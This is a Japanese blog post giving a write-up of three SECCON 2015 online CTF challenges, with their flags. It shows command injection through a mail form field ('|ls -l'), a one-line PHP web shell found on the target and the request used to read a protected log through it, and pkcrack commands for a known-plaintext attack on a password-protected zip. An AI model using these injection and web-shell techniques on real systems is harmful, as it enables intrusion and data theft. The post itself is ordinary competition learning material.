SECCON2015オンライン予選に参加してきた
今年もSECCON 2015 Online CTFに参加してきました。
いつものRoute9で参加。99位!ギリとはいえ2桁台という嬉しい結果に。
参加記録をかねて解けた問題(フラグ入力したとは言ってない)のwriteupを書きます。
Web/Network100 Connect the Server
低速回線環境のサーバ?のようですがブラウザでアクセスしてしばらく放置してたらflagが取れました(汗
リクエストタイムアウトをいじらないといけない問題だったとかなのかな・・・?
途中に関係ないデータが挟まってますが、ASCII部分だけ繋ぎ合わせて
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
Web/Network100 Entry form
メアドを登録するとメールを送信するWebサービス。
とっかかりがわからなかったんですが、チームメンバー曰くrootパスにディレクトリインデックスがついているとのこと。
さっそくアクセスするとファイル一覧が見えた。
/register.cgi_bakにアクセスしてみると、register.cgiのソースが見えました。
どうやらlogファイルの中の先頭2行にflagが入ってそう。
mailクエリをごにょればいけそうということで色々試したところ、mail="|ls -l"が使えたので、それでディレクトリ漁ってみるとlogファイルがありました!しかしlogのアクセス権は 640 apache:cgiなのでcgiユーザでは読めません。
じゃあ、ということでSECRETSディレクトリのその中を見てみると、backdoor123.phpなるファイルが。
backdoor123.phpの中身はこんなのでした。cmdを渡せばそのまま実行してくれる。
<pre><?php system($_GET['cmd']); ?></pre>
しかもこのbackdoorがapache権限で動いているので、こいつ経由でlogの中身を抜き出してflagげっと。
(こんな感じのアクセス -> /SECRETS/backdoor123.php?cmd=head%20/var/www/html/log)
SECCON{Glory_will_shine_on_you.}
Crypto100 Unzip the file
パス付zipファイルを解凍する問題。
zipの中には backnumber08.txt backnumber09.txt flag の3つのファイルが入ってることはわかりますが解凍方法がわかりません。
色々調べたところ、既知平文攻撃が使えそうとのこと。そこでpkcrackというツールを使います。
既知平文攻撃をするためにはzipの中に入っているファイルが何か必要なのですが、backnumberから類推して、おそらくSECCONのメルマガだろうと推測してWebからページをDLしました。
落としてきたファイルをzipにしてpkcrackに食わせてみるとflagが取り出せました。
wget http://2014.seccon.jp/mailmagazine/backnumber08.txt zip backnumber08.zip backnumber08.txt pkcrack-1.2.2/src/pkcrack -C unzip.zip -c backnumber08.txt -d decrypt.zip -p backnumber08.txt -p backnumber08.zip unzip decrypt.zip
取り出したflagもzipファイルになっているため、解凍したところflag自体はwordファイルのようでした。
手元にwordがないので中身のxmlを見てみるとword/document.xmlにflagがありました。
$ file flag flag: Zip archive data, at least v2.0 to extract
SECCON{1s_th1s_passw0rd_ weak?}